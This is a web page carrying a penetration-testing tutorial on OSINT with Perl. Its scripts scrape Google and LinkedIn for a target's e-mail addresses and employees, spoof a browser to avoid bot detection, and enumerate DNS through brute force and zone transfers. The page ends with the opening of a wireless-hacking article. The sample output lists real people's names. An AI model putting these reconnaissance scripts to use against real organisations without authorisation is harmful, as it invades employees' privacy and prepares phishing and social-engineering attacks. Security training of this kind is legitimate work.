This article is written by Douglas Berdeaux, the author of Penetration Testing with Perl. Open source intelligence (OSINT) refers to intelligence gathering from open and public sources. These sources include search engines, the client target's web-accessible software or sites, social media sites and forums, Internet routing and naming authorities, public information sites, and more. If done properly and thoroughly, the practice of OSINT can prove to be useful to strengthen social engineering and remote exploitation attacks on our client target as we search for ways to gain access to their systems and buildings during a penetration test. What's covered In this article, we will cover how to gather the information listed using Perl: E-mail addresses from our client target using search engines and social media sites Networking, hosting, routing, and system data of our client target using online resources and simple networking utilities To gather this data, we rely heavily on the LWP::UserAgent Perl module. We will also discover how to use this module with a secured socket layer SSL/TLS (HTTPS) connection. In addition to this, we will learn about a few new Perl modules that are listed here: Net::Whois::Raw Net::DNS::Dig Net::DNS Net::Traceroute XML::LibXML Google dorks Before we use Google for intelligence gathering, we should briefly touch upon using Google dorks, which we can use to refine and filter our Google searches. A Google dork is a string of special syntax that we pass to Google's request handler using the q= option. The dork can comprise operators and keywords separated by a colon and concatenated strings using a plus symbol + as a delimiter. Here is a list of simple Google dorks that we can use to narrow our Google searches: intitle:<string> searches for pages whose HTML title tags contain the string <string> filetype:<ext> searches for files that have the extension <ext> site:<domain> narrows the search to only results that are located on the <domain> target servers inurl:<string> returns results that contain <string> in their URL -<word> negates the word following the minus symbol - in a search filter link:<page> searches for pages that contain the HTML HREF links to the page This is just a small list and a complete guide of Google search operators that can be found on their support servers. A list of well-known exploited Google dorks for information gathering can be found in a Google hacker's database at http://www.exploit-db.com/google-dorks/. E-mail address gathering Getting e-mail addresses from our target can be a rather hard task and can also mean gathering usernames used within the target's domain, remote management systems, databases, workstations, web applications, and much more. As we can imagine, gathering a username is 50 percent of the intrusion for target credential harvesting; the other 50 percent being the password information. So how do we gather e-mail addresses from a target? Well, there are several methods; the first we will look at will be simply using search engines to crawl the web for anything useful, including forum posts, social media, e-mail lists for support, web pages and mailto links, and anything else that was cached or found from ever-spidering search engines. Using Google for e-mail address gathering Automating queries to search engines is usually always best left to application programming interfaces (APIs). We might be able to query the search engine via a simple GET request, but this leaves enough room for error, and the search engine can potentially temporarily block our IP address or force us to validate our humanness using an image of words as it might assume that we are using a bot. Unfortunately, Google only offers a paid version of their general search API. They do, however, offer an API for a custom search, but this is restricted to specified domains. We want to be as thorough as possible and search as much of the web as we can, time permitting, when intelligence gathering. Let's go back to our LWP::UserAgent Perl module and make a simple request to Google, searching for any e-mail addresses and URLs from a given domain. The URLs are useful as they can be spidered to within our application if we feel inclined to extend the reach of our automated OSINT. In the following examples, we want to impersonate a browser as much as possible to not raise flags at Google by using automation. We accomplish this by using the LWP::UserAgent Perl module and spoofing a valid Firefox user agent: #!/usr/bin/perl -w use strict; use LWP::UserAgent; use LWP::Protocol::https; my $usage = "Usage ./email_google.pl <domain>"; my $target = shift or die $usage; my $ua = LWP::UserAgent->new; my %emails = (); # unique my $url = 'https://www.google.com/search?num=100&start=0&hl=en&meta=&q=%40%22'.$target.'%22'; $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1 en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18"); $ua->timeout(10); # setup a timeout $ua->show_progress(1); # display progress bar my $res = $ua->get($url); if($res->is_success){ my @urls = split(/url?q=/,$res->as_string); foreach my $gUrl (@urls){ # Google URLs next if($gUrl =~ m/(webcache.googleusercontent)/i or not $gUrl =~ m/^http/); $gUrl =~ s/&amp;sa=U.*//; print $gUrl,"n"; } my @emails = $res->as_string =~ m/[a-z0-9_.-]+@/ig; foreach my $email (@emails){ if(not exists $emails{$email}){    print "Possible Email Match: ",$email,$target,"n";    $emails{$email} = 1; # hashes are faster } } } else{ die $res->status_line; } The LWP::UserAgent module used in the previous code is not new to us. We did, however, add SSL support using the LWP::Protocol::https module. Our URL $url object is a simple Google search URL that anyone would browse to with a normal browser. The num= value pertains the returned results from Google in a single page, which we have set to 100. To also act as a browser, we needed to set the user agent with the agent() method, which we did as a Mozilla browser. After this, we set a timeout and Boolean to show a simple progress bar. The rest is just simple Perl string manipulation and pattern matching. We use the regular expression url?q= to split the string returned by the as_string method from the $res object. Then, for each URL string, we use another regular expression, &amp;sa=U.*, to remove excess analytic garbage that Google adds. Then, we simply parse out all e-mail addresses found using the same method but different regexp. We stuff all matches into the @emails array and loop over them, displaying them to our screen if they don't exist in the $emails{} Perl hash. Let's run this program against the weaknetlabs.com domain and analyze the output: root@wnld960:~# perl email_google.pl weaknetlabs.com ** GET https://www.google.com/search?num=100&start=0&hl=en&meta=&q=%40%22weaknetlabs.com%22 ==> 200 OK (1s) http://weaknetlabs.com/ http://weaknetlabs.com/main/%3Fpage_id%3D479 … http://www.securitytube.net/video/2039 Possible Email Match: Douglas@weaknetlabs.com Possible Email Match: weaknetlabs@weaknetlabs.com root@wnld960:~# This is the (trimmed) output when we run an automated Google search for an e-mail address from weaknetlabs.com. Using social media for e-mail address gathering Now, let's turn our attention to using social media sites such as Google+, LinkedIn, and Facebook to try to gather e-mail addresses using Perl. Social media sites can sometimes reflect information about an employee's attitude towards their employer, their status within the company, position, e-mail addresses, and more. All of this information is considered OSINT and can be useful when advancing our attacks. Google+ We can also search plus.google.com for contact information from users belonging to our target. The following is the URL-encoded Google dork we will use to search the Google+ profiles for an employee of our target: intitle%3A"About+-+Google%2B"+"Works+at+'.$target.'"+site%3Aplus.google.com The URL-encoded symbols are as follows: %3A: This is a colon, that is, : %2B: This is a plus symbol, that is, + The plus symbol + is a special component of Google dork, as we mentioned in the previous section. The intitle keyword tells Google to display results whose HTML <title> tag contains the About – Google+ text. Then, we add the string (in quotations) "Works at " (notice the space at the end), and then the target name as the string object $target. The site keyword tells the Google search engine to only display results from the plus.google.com site. Let's implement this in our Perl program and see what results are returned for Google employees: #!/usr/bin/perl -w use strict; use LWP::UserAgent; use LWP::Protocol::https; my $ua = LWP::UserAgent->new; my $usage = "Usage ./googleplus.pl <target name>"; my $target = shift or die $usage; $target =~ s/s/+/g; my $gUrl = 'https://www.google.com/search?safe=off&noj=1&sclient=psy-ab&q=intitle%3A"About+-+Google%2B"+"Works+at+' .$target.'"+site%3Aplus.google.com&oq=intitle%3A"About+-+Google%2B"+"Works+at+'.$target.'"+site%3Aplus.google.com'; $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1 en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18"); $ua->timeout(10); # setup a timeout my $res = $ua->get($gUrl); if($res->is_success){ foreach my $string (split(/url?q=/,$res->as_string)){ next if($string =~ m/(webcache.googleusercontent)/i or not $string =~ m/^http/); $string =~ s/&amp;sa=U.*//; print $string,"n"; } } else{ die $res->status_line; } This Perl program is quite similar to our last search program. Now, let's run this to find possible Google employees. Since a target client company can have spaces in its name, we accommodate them by encoding them for Google as plus symbols: root@wnld960:~# perl googleplus.pl google https://plus.google.com/%2BPaulWilcox/about https://plus.google.com/%2BNatalieVillalobos/about ... https://plus.google.com/%2BAndrewGerrand/about root@wnld960:~# The preceding (trimmed) output proves that our Perl script works as we browse to the returned results. These two Google search scripts provided us with some great information quickly. Let's move on to another example, not using Google but LinkedIn, a social media site for professionals. LinkedIn LinkedIn can provide us with the contact information and IT skill levels of our client target during a penetration test. Here, we will focus on the contact information. By now, we should feel very comfortable making any type of web request using LWP::UserAgent and parsing its output for intelligence data. In fact, this LinkedIn example should be a breeze. The trick is fine-tuning our filters and regular expressions to get only relevant data. Let's just dive right into the code and then analyze some sample output: #!/usr/bin/perl -w use strict; use LWP::UserAgent; use LWP::Protocol::https; my $ua = LWP::UserAgent->new; my $usage = "Usage ./googlepluslinkedin.pl <target name>"; my $target = shift or die $usage; my $gUrl = 'https://www.google.com/search?q=site:linkedin.com+%22at+'.$target.'%22'; my %lTargets = (); # unique $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1 en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18"); $ua->timeout(10); # setup a timeout my $google = getUrl($gUrl); # one and ONLY call to Google foreach my $title ($google =~ m/shref="/url?.*">[a-z0-9_. -]+s?.b.at $target..b.s-slinked/ig){ my $lRurl = $title; $title =~ s/.*">([^<]+).*/$1/; $lRurl =~ s/.*url?.*q=(.*)&amp;sa.*/$1/; print $title,"-> ".$lRurl."n"; my @ln = split(/15?12/,getUrl($lRurl)); foreach(@ln){ if(m/title="/i){    my $link = $_;    $link =~ s/.*href="([^"]+)".*/$1/;    next if exists $lTargets{$link};    $lTargets{$link} = 1;    my $name = $_;    $name =~ s/.*title="([^"]+)".*/$1/;    print "t",$name," : ",$link,"n"; } } } sub getUrl{ sleep 1; # pause... my $res = $ua->get(shift); if($res->is_success){ return $res->as_string; }else{ die $res->status_line; } } The preceding Perl program makes one query to Google to find all possible positions from the target; for each position found, it queries LinkedIn to find employees of the target. The regular expressions used were finely crafted after inspection of the returned HTML object from a simple query to both Google and LinkedIn. This is a great example of how we can spider off from our initial Google results to gather even more intelligence using Perl automation. Let's take a look at some sample outputs from this program when used against Walmart.com: root@wnld960:~# perl linkedIn.pl Walmart Buyer : http://www.linkedin.com/title/buyer/at-walmart/        Jason Kloster : http://www.linkedin.com/in/jasonkloster       Rajiv Ahirwal : http://www.linkedin.com/in/rajivahirwal ... Store manager : http://www.linkedin.com/title/store%2Bmanager/at-walmart/        Benjamin Hunt 13k+ (LION) #1 Connected Leader at Walmart : http://www.linkedin.com/in/benjaminhunt01 ... Shift manager : http://www.linkedin.com/title/shift%2Bmanager/at-walmart/        Frank Burns : http://www.linkedin.com/pub/frank-burns/24/83b/285 ... Assistant store manager : http://www.linkedin.com/title/assistant%2Bstore%2Bmanager/at-walmart/        John Cole : http://www.linkedin.com/pub/john-cole/67/392/b39        Crystal Herrera : http://www.linkedin.com/pub/crystal-herrera/92/74a/97b root@wnld960:~# The preceding (trimmed) output provided some great insight into employee positions, and even real employees in those positions of the target, with a simple call to one script. All of this information is publicly available information and we are not directly attacking Walmart or its employees; we are just using this as an example of intelligence-gathering techniques during a penetration test using Perl programming. This information can further be used for reporting, and we can even extend this data into other areas of research. For instance, we can easily follow the LinkedIn links with LWP::UserAgent and pull even more data from the publicly available LinkedIn profiles. This data, when compared to Google+ profile data and simple Google searches, should help in providing a background to create a more believable pretext for social engineering. Now, let's see if we can use Google to search more social media websites for information on our client target. Facebook We can easily argue that Facebook is one of the largest social networking sites around during the writing of this book. Facebook can easily return a large amount of data about a person, and we don't even have to go to the site to get it! We can easily extend our reach into the Web with the gathered employee names, from our previous code, by searching Google using the site:faceboook.com parameter and the exact same syntax as from the first example in the Google section of the E-mail address gathering section. The following are a few simple Google dorks that can possibly reveal information about our client target: site:facebook.com "manager at target" site:facebook.com "ceo at target" site:facebook.com "owner of target" site:facebook.com "experience at target" This information can return customer and employee criticism that can be used for a wide array of penetration-testing purposes, including social engineering pretexting. We can narrow our focus even further by adding other keywords and strings from our previously gathered intelligence, such as city names, company names, and more. Just about anything returned can be compiled into a unique wordlist for password cracking, and contrasted with the known data with Digital Credential Analysis (DCA). Domain Name Services Domain Name Services (DNS) are used to translate IP addresses into hostnames so that we can use alphanumeric addresses instead of IP addresses for websites or services. It makes our lives a lot easier when typing in a URL with a name rather than a 4-byte numerical value. Any client target can potentially have full control over their naming services. DNS A records can be assigned to any IP address. We can easily write our own record with domain control for an IPv4 class A address, such as 10.0.0.1, which is commonly done for an internal network to allow its users to easily connect to different internal services. The Whois query Sometimes, when we can get an IP address for a client target, we can pass this IP address to the Whois database, and in return, we can get a range of IP addresses in which our IP lies and the organization that owns the range. If the organization is our target, then we now know a range of IP addresses pointing directly to their resources. Usually, this information is given during a penetration test, and the limitations on the lengths that we are allowed to go to for IP ranges are set so that we can be limited simply to reporting. Let's use Perl and the Net::Whois::Raw module to interact with the American Registry for Internet Numbers (ARIN) database for an IP address: #!/usr/bin/perl -w use strict; use Net::Whois::Raw; die "Usage: perl netRange.pl <IP Address>" unless $ARGV[0]; foreach(split(/n/,whois(shift))){ print $_,"n" if(m/^(netrange|orgname)/i); } The preceding code, when run, should produce information about the network range and organization name that owns the range. It is very simple, and it can be compared to calling the whois program form the Linux command line. If we were to script this to run through a number of different IP addresses and run the Whois query against each one, we could be violating the terms of service set by ARIN. Let's test it and see what we get with a random IP address: root@wnld960:~# perl whois.pl 198.123.2.22 NetRange:       198.116.0.0 - 198.123.255.255 OrgName:       National Aeronautics and Space Administration root@wnld960:~# This is the output from our Perl program, which reveals an IP range that can belong to the organization listed. If this fails, and we need to find more than one hostname owned by our client target, we can try a brute force method that simply checks our name servers; we will do just that in the next section. The DIG query DIG stands for domain information groper and is a utility to do just that using DNS queries. The DIG Linux utility has actually replaced the older host and nslookup. In making these queries, one thing to note is that when we don't specify a name server to use, the DIG utility will simply use the Linux OS default resolver. We can, however, pass a name server to DIG; we will cover this in the upcoming section, Zone transfers. There is a nice object-oriented Perl module for DIG that we will examine, which is called Net::DNS::Dig. Let's quickly look at an example to query our DNS with this module: #!/usr/bin/perl -w use Net::DNS::Dig; use strict; my $dig = new Net::DNS::Dig(); my $dom = shift or die "Usage: perl dig.pl <domain>"; my $dobj = $dig->for($dom, 'A'); # print $dobj->sprintf; # print entire dig query response print "CODE: ",$dobj->rcode(1),"n"; # Dig Response Code my %mx = Net::DNS::Dig->new()->for($dom,'MX')->rdata(); while(my($val,$server) = each(%mx)){ print "MX: ",$server," - ",$val,"n"; } The preceding code is simple. We create a DIG object $dig and call the for() method, passing the domain name we pulled by shifting the command-line arguments and types for A records. We print the returned response with sprintf(), and then the response code alone with the rcode() method. Finally, we create a hash object %mx from the rdata() method. We pass the rdata() object returned from making a new Net::DNS::Dig object, and call the for() method on it with a type of MX for the mail server. Let's try this against a domain and see what is returned: root@wnld960:~# perl dig.pl weaknetlabs.com ; <<>> Net::DNS::Dig 0.12 <<>> -t a weaknetlabs.com. ;; ;; Got answer. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34071 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;weaknetlabs.com.               IN     A ;; ANSWER SECTION: weaknetlabs.com.       300    IN     A       198.144.36.192 ;; Query time: 118 ms ;; SERVER: 75.75.76.76# 53(75.75.76.76) ;; WHEN: Mon May 19 18:26:31 2014 ;; MSG SIZE rcvd: 49 -- XFR size: 2 records CODE: NOERROR MX: mailstore1.secureserver.net - 10 MX: smtp.secureserver.net – 0 The output is just as expected. Everything above the line starting with CODE is the response from making the DIG query. CODE is returned from the rcode() method. Since we passed a true value to rcode(), we got a string type, NOERROR, returned. Next, we printed the key and value pairs of the %mx Perl hash, which displayed our target's e-mail server names. Brute force enumeration Keeping the previous lesson in mind, and knowing that Linux offers a great wealth of networking utilities, we might be inclined to write our own DNS brute force tool to enumerate any possible A records that our client target could have made prior to our penetration test. Let's take a quick look at the nslookup utility we can use to check if a record exists: trevelyn@wnld960:~$ nslookup admin.warcarrier.org Server:         75.75.76.76 Address:       75.75.76.76#53 Non-authoritative answer: Name:   admin.warcarrier.org Address: 10.0.0.1 trevelyn@wnld960:~$ nslookup admindoesntexist.warcarrier.org Server:         75.75.76.76 Address:        75.75.76.76#53 ** server can't find admindoesntexist.warcarrier.org: NXDOMAIN trevelyn@wnld960:~$ This is the output of two calls to nslookup, the networking utility used for returning IP addresses of hostnames, and vice versa. The first A record check was successful, and the second, the admindoesntexist subdomain, was not. We can easily see from the output of this program how we can parse it to check whether the subdomain exists. We can also see from the two subdomains that we can use a simple word list of commonly used subdomains for efficiency, before trying many possible combinations. A lot of intelligence gathering might have already been done for you by search engines such as Google. In fact, the keyword search site: can return more than just the www subdomains. If we broaden our num= URL GET parameter and loop through all possible results by incrementing the start= parameter, we can potentially get results from other subdomains of our target. Now that we have seen the basic query for a subdomain, let's turn our focus to use Perl and a new Perl module, Net::DNS, to enumerate a few subdomains: #!/usr/bin/perl -w use strict; use Net::DNS; my $dns = Net::DNS::Resolver->new; my @subDomains = ("admin","admindoesntexist","www","mail","download","gateway"); my $usage = "perl domainbf.pl <domain name>"; my $domain = shift or die $usage; my $total = 0; dns($_) foreach(@subDomains); print $total," records testedn"; sub dns{ # search sub domains: $total++; # record count my $hn = shift.".".$domain; # construct hostname my $dnsLookup = $dns->search($hn); if($dnsLookup){ # successful lookup my $t=0; foreach my $ip ($dnsLookup->answer){    return unless $ip->type eq "A" and $t<1; # A records    print $hn,": ",$ip->address,"n"; # just the IP    $t++; } } return; } The preceding Perl program loops through the @domains array and calls the dns() subroutine on each, which returns or prints a successful query. The $t integer token is used for subdomains, which has several identical records to avoid repetition in the program's output. After this, we simply print the total of the records tested. This program can be easily modified to open a word list file, and we can loop through each by passing them to the dns() subroutine, with something similar to the following: open(FLE,"file.txt"); while(<FLE>){ dns($_); } Zone transfers As we have seen with an A record, the admin.warcarrier.org entry provided us with some insight as to the IP range of the internal network, or the class A address 10.0.0.1. Sometimes, when a client target is controlling and hosting their own name servers, they accidentally allow DNS zone transfers from their name servers into public name servers, providing the attacker with information where the target's resources are. Let's use the Linux host utility to check for a DNS zone transfer: [trevelyn@shell ~]$ host -la warcarrier.org beth.ns.cloudflare.com Trying "warcarrier.org" Using domain server: Name: beth.ns.cloudflare.com Address: 2400:cb00:2049:1::adf5:3a67#53 Aliases: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20461 ;; flags: qr aa; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ; warcarrier.org.           IN     AXFR ;; ANSWER SECTION: warcarrier.org.     300     IN     SOA     beth.ns.cloudflare.com. warcarrier.org. beth.ns.cloudflare.com. 2014011513 18000 3600 86400 1800 warcarrier.org.     300     IN     NS     beth.ns.cloudflare.com. warcarrier.org.     300     IN     NS     hank.ns.cloudflare.com. warcarrier.org.     300     IN     A      50.97.177.66 admin.warcarrier.org. 300     IN     A       10.0.0.1 gateway.warcarrier.org. 300 IN   A       10.0.0.124 remote.warcarrier.org. 300     IN     A       10.0.0.15 partner.warcarrier.org. 300 IN   CNAME   warcarrier.weaknetlabs.com. calendar.warcarrier.org. 300 IN   CNAME   login.secureserver.net. direct.warcarrier.org. 300 IN   CNAME   warcarrier.org. warcarrier.org.     300     IN     SOA     beth.ns.cloudflare.com. warcarrier.org. beth.ns.cloudflare.com. 2014011513 18000 3600 86400 1800 Received 401 bytes from 2400:cb00:2049:1::adf5:3a67#53 in 56 ms [trevelyn@shell ~]$ As we see from the output of the host command, we have found a successful DNS zone transfer, which provided us with even more hostnames used by our client target. This attack has provided us with a few CNAME records, which are used as aliases to other servers owned or used by our target, the subnet (class A) IP addresses used by the target, and even the name servers used. We can also see that the default name, direct, used by CloudFlare.com is still set for the cloud service to allow connections directly to the IP of warcarrier.org, which we can use to bypass the cloud service. The host command requires the name server, in our case beth.ns.cloudflare.com, before performing the transfer. What this means for us is that we will need the name server information before querying for a potential DNS zone transfer in our Perl programs. Let's see how we can use Net::DNS for the entire process: #!/usr/bin/perl -w use strict; use Net::DNS; my $usage = "perl dnsZt.pl <domain name>"; die $usage unless my $dom = shift; my $res = Net::DNS::Resolver->new; # dns object my $query = $res->query($dom,"NS"); # query method call for nameservers if($query){ # query of NS was successful foreach my $rr (grep{$_->type eq 'NS'} $query->answer){ $res->nameservers($rr->nsdname); # set the name server print "[>] Testing NS Server: ".$rr->nsdname."n"; my @subdomains = $res->axfr($dom); if ($#subdomains > 0){    print "[!] Successful zone transfer:n";    foreach (@subdomains){    print $_->name."n"; # returns a Net::DNS::RR object    } }else{ # 0 returned domains    print "[>] Transfer failed on " . $rr->nsdname . "n"; } } }else{ # Something went wrong: warn "query failed: ", $res->errorstring,"n"; } The preceding program that uses the Net::DNS Perl module will first query for the name servers used by our target and then test the DNS zone transfer for each target. The grep() function returns a list to the foreach() loop of all name servers (NS) found. The foreach() loop then simply attempts the DNS zone transfer (AXFR) and returns the results if the array is larger than zero elements. Let's test the output on our client target: [trevelyn@shell ~]$ perl dnsZt.pl warcarrier.org [>] Testing NS Server: hank.ns.cloudflare.com [!] Successful zone transfer: warcarrier.org warcarrier.org admin.warcarrier.org gateway.warcarrier.org remote.warcarrier.org partner.warcarrier.org calendar.warcarrier.org direct.warcarrier.org [>] Testing NS Server: beth.ns.cloudflare.com [>] Transfer failed on beth.ns.cloudflare.com [trevelyn@shell ~]$ The preceding (trimmed) output is a successful DNS zone transfer on one of the name servers used by our client target. Traceroute With knowledge of how to glean hostnames and IP addresses from simple queries using Perl, we can take the OSINT a step further and trace our route to the hosts to see what potential target-owned hardware can intercept or relay traffic. For this task, we will use the Net::Traceroute Perl module. Let's take a look at how we can get the IP host information from relaying hosts between us and our target, using this Perl module and the following code: #!/usr/bin/perl -w use strict; use Net::Traceroute; my $dom = shift or die "Usage: perl tracert.pl <domain>"; print "Tracing route to ",$dom,"n"; my $tr = Net::Traceroute->new(host=>$dom,use_tcp=>1); for(my$i=1;$i<=$tr->hops;$i++){        my $hop = $tr->hop_query_host($i,0);        print "IP: ",$hop," hop time: ",$tr->hop_query_time($i,0),               "ms hop status: ",$tr->hop_query_stat($i,0),                " query count: ",$tr->hop_queries($i),"n" if($hop); } In the preceding Perl program, we used the Net::Traceroute Perl module to perform a trace route to the domain given by a command-line argument. The module must be used by first calling the new() method, which we do when defining $tr as a query object. We tell the trace route object $tr that we want to use TCP and also pass the host, which we shift from the command-line arguments. We can pass a lot more parameters to the new() method, one of which is debug=>9 to debug our trace route. A full list can be obtained from the CPAN Search page of the Perl module that can be accessed at http://search.cpan.org/~hag/Net-Traceroute/Traceroute.pm. The hops method is used when constructing the for() loop, which returns an integer value of the hop count. We then assign this to $i and loop through all hop and print statistics, using the methods hop_query_host for the IP address of the host, hop_query_time for the time taken to reach the host, and hop_query_stat that returns the status of the query as an integer value (on our lab machines, it is returned in milliseconds), which can be mapped to the export list of Net::Traceroute according to the module's documentation. Now, let's test this trace route program with a domain and check the output: root@wnld960:~# sudo perl tracert.pl weaknetlabs.com Tracing route to weaknetlabs.com IP: 10.0.0.1 hop time: 0.724ms hop status: 0 query count: 3 IP: 68.85.73.29 hop time: 14.096ms hop status: 0 query count: 3 IP: 69.139.195.37 hop time: 19.173ms hop status: 0 query count: 3 IP: 68.86.94.189 hop time: 31.102ms hop status: 0 query count: 3 IP: 68.86.87.170 hop time: 27.42ms hop status: 0 query count: 3 IP: 50.242.150.186 hop time: 27.808ms hop status: 0 query count: 3 IP: 144.232.20.144 hop time: 33.688ms hop status: 0 query count: 3 IP: 144.232.25.30 hop time: 38.718ms hop status: 0 query count: 3 IP: 144.232.229.46 hop time: 31.242ms hop status: 0 query count: 3 IP: 144.232.9.82 hop time: 99.124ms hop status: 0 query count: 3 IP: 198.144.36.192 hop time: 30.964ms hop status: 0 query count: 3 root@wnld960:~# The output from tracert.pl is just as we expected using the traceroute program of the Linux shell. This functionality can be easily built right into our port scanner application. Shodan Shodan is an online resource that can be used for hardware searching within a specific domain. For instance, a search for hostname:<domain> will provide all the hardware entities found within this specific domain. Shodan is both a public and open source resource for intelligence. Harnessing the full power of Shodan and returning a multipage query is not free. For the examples in this article, the first page of the query results, which are free, were sufficient to provide a suitable amount of information. The returned output is XML, and Perl has some great utilities to parse XML. Luckily, for the purpose of our example, Shodan offers an example query for us to use as export_sample.xml. This XML file contains only one node per host, labeled host. This node contains attributes for the corresponding host and we will use the XML::LibXML::Node class from the XML::LibXML::Node Perl module. First, we will download the XML file and use XML::LibXML to open the local file with the parse_file() method, as shown in the following code: #!/usr/bin/perl -w use strict; use XML::LibXML; my $parser = XML::LibXML->new(); my $doc = $parser->parse_file("export_sample.xml"); foreach my $host ($doc->findnodes('/shodan/host')) { print "Host Found:n"; my @attribs = $host->attributes('/shodan/host'); foreach my $host (@attribs){ # get host attributes print $host =~ m/([^=]+)=.*/," => "; print $host =~ m/.*"([^"]+)"/,"n"; } # next print "nn"; } The preceding Perl program will open the export_sample.xml file and navigate through the host nodes using the simple xpath of /shodan/host. For each <host> node, we call the attribute's method from the XML::LibXML::Node class, which returns an array of all attributes with information such as the IP address, hostname, and more. We then run a regular expression pattern on the $host string to parse out the key, and again with another regexp to get the value. Let's see how this returns data from our sample XML file from ShodanHQ.com: root@wnld960:~#perl shodan.pl Host Found: hostnames => internetdevelopment.ro ip => 109.206.71.21 os => Linux recent 2.4 port => 80 updated => 16.03.2010 Host Found: ip => 113.203.71.21 os => Linux recent 2.4 port => 80 updated => 16.03.2010 Host Found: hostnames => ip-173-201-71-21.ip.secureserver.net ip => 173.201.71.21 os => Linux recent 2.4 port => 80 updated => 16.03.2010 The preceding output is from our shodan.pl Perl program. It loops through all host nodes and prints the attributes. As we can see, Shodan can provide us with some very useful information that we can possibly use to exploit later in our penetration testing. It's also easy to see, without going into elementary Perl coding examples, that we can find exactly what we are looking for from an XML object's attributes using this simple method. We can use this code for other resources as well. More intelligence Gaining information about the actual physical address is also important during a penetration test. Sure, this is public information, but where do we find it? Well, the PTES describes how most states require a legal entity of a company to register with the State Division, which can provide us with a one-stop go-to place for the physical address information, entity ID, service of process agent information, and more. This can be very useful information on our client target. If obtained, we can extend this intelligence by finding out more about the property owners for physical penetration testing and social engineering by checking the city/county's department of land records, real estate, deeds, or even mortgages. All of this data, if hosted on the Web, can be gathered by automated Perl programs, as we did in the example sections of this article using LWP::UserAgent. Summary As we have seen, being creative with our information-gathering techniques can really shine with the power of regular expressions and the ability to spider links. As we learned in the introduction, it's best to do an automated OSINT gathering process along with a manual process because both processes can reveal information that one might have missed. Resources for Article: Further resources on this subject: Ruby and Metasploit Modules [article] Linux Shell Scripting – various recipes to help you [article] Linux Shell Script: Logging Tasks [article]
Read more
  • 0
  • 0
  • 7436

article-image-wireless-and-mobile-hacks
Packt
22 Jul 2014
6 min read
Save for later

Wireless and Mobile Hacks

Packt
22 Jul 2014
6 min read
(For more resources related to this topic, see here.) So I don't think it's possible to go to a conference these days and not see a talk on mobile or wireless. (They tend to schedule the streams to have both mobile and wireless talks at the same time—the sneaky devils. There is no escaping the wireless knowledge!) So, it makes sense that we work out some ways of training people how to skill up on these technologies. We're going to touch on some older vulnerabilities that you don't see very often, but as always, when you do, it's good to know how to insta-win. Wireless environment setup This article is a bit of an odd one, because with Wi-Fi and mobile, it's much harder to create a safe environment for your testers to work in. For infrastructure and web app tests, you can simply say, "it's on the network, yo" and they'll get the picture. However, Wi-Fi and mobile devices are almost everywhere in places that require pen testing. It's far too easy for someone to get confused and attempt to pwn a random bystander. While this sounds hilarious, it is a serious issue if that occurs. So, adhere to the following guidelines for safer testing: Where possible, try and test away from other people and networks. If there is an underground location nearby, testing becomes simpler as floors are more effective than walls for blocking Wi-Fi signals (contrary to the firmly held beliefs of anyone who's tried to improve their home network signal). If you're an individual who works for a company, or you know, has the money to make a Faraday cage, then by all means do the setup in there. I'll just sit here and be jealous. Unless it's pertinent to the test scenario, provide testers with enough knowledge to identify the devices and networks they should be attacking. A good way to go is to provide the Mac address as they very rarely collide. (Mac randomizing tools be damned.) If an evil network has to be created, name it something obvious and reduce the access to ensure that it is visible to as few people as possible. The naming convention we use is Connectingtomewillresultin followed by pain, death, and suffering. While this steers away the majority of people, it does appear to attract the occasional fool, but that's natural selection for you. Once again, but it is worth repeating, don't use your home network. Especially in this case, using your home equipment could expose you to random passersby or evil neighbors. I'm pretty sure my neighbor doesn't know how to hack, but if he does, I'm in for a world of hurt. Software We'll be using Kali Linux as the base for this article as we'll be using the tools provided by Kali to set up our networks for attack. Everything you need is built into Kali, but if you happen to be using another build such as Ubuntu or Debian, you will need the following tools: Iwtools (apt-get install iw): This is the wireless equivalent of ifconfig that allows the alteration of wireless adapters, and provides a handy method to monitor them. Aircrack suite (apt-get install aircrack-ng): The basic tools of wireless attacking are available in the Aircrack suite. This selection of tools provides a wide range of services, including cracking encryption keys, monitoring probe requests, and hosting rogue networks. Hostapd (apt-get install hostapd): Airbase-ng doesn't support WPA-2 networks, so we need to bring in the serious programs for serious people. This can also be used to host WEP networks, but getting Aircrack suite practice is not to be sniffed at. Wireshark (apt-get install wireshark): Wireshark is one of the most widely used network analytics tools. It's not only used by pen testers, but also by people who have CISSP and other important letters after their names. This means that it's a tool that you should know about. dnschef (https://thesprawl.org/projects/dnschef/): Thanks to Duncan Winfrey, who pointed me in this direction. DNSchef is a fantastic resource for doing DNS spoofing. Other alternatives include DNS spoof and Metasploit's Fake DNS. Crunch (apt-get install crunch): Crunch generates strings in a specified order. While it seems very simple, it's incredibly useful. Use with care though; it has filled more than one unwitting user's hard drive. Hardware You want to host a dodgy network. The first question to ask yourself, after the question you already asked yourself about software, is: is your laptop/PC capable of hosting a network? If your adapter is compatible with injection drivers, you should be fine. A quick check is to boot up Kali Linux and run sudo airmon-ng start <interface>. This will put your adapter in promiscuous mode. If you don't have the correct drivers, it'll throw an error. Refer to a potted list of compatible adapters at http://www.aircrack-ng.org/doku.php?id=compatibility_drivers. However, if you don't have access to an adapter with the required drivers, fear not. It is still possible to set up some of the scenarios. There are two options. The first and most obvious is "buy an adapter." I can understand that you might not have a lot of cash kicking around, so my advice is to pick up an Edimax ew-7711-UAN—it's really cheap and pretty compact. It has a short range and is fairly low powered. It is also compatible with Raspberry Pi and BeagleBone, which is awesome but irrelevant. The second option is a limited solution. Most phones on the market can be used as wireless hotspots and so can be used to set up profiles for other devices for the phone-related scenarios in this article. Unfortunately, unless you have a rare and epic phone, it's unlikely to support WEP, so that's out of the question. There are solutions for rooted phones, but I wouldn't instruct you to root your phone, and I'm most certainly not providing a guide to do so. Realistically, in order to create spoofed networks effectively and set up these scenarios, a computer is required. Maybe I'm just not being imaginative enough.
Read more
  • 0
  • 0
  • 2511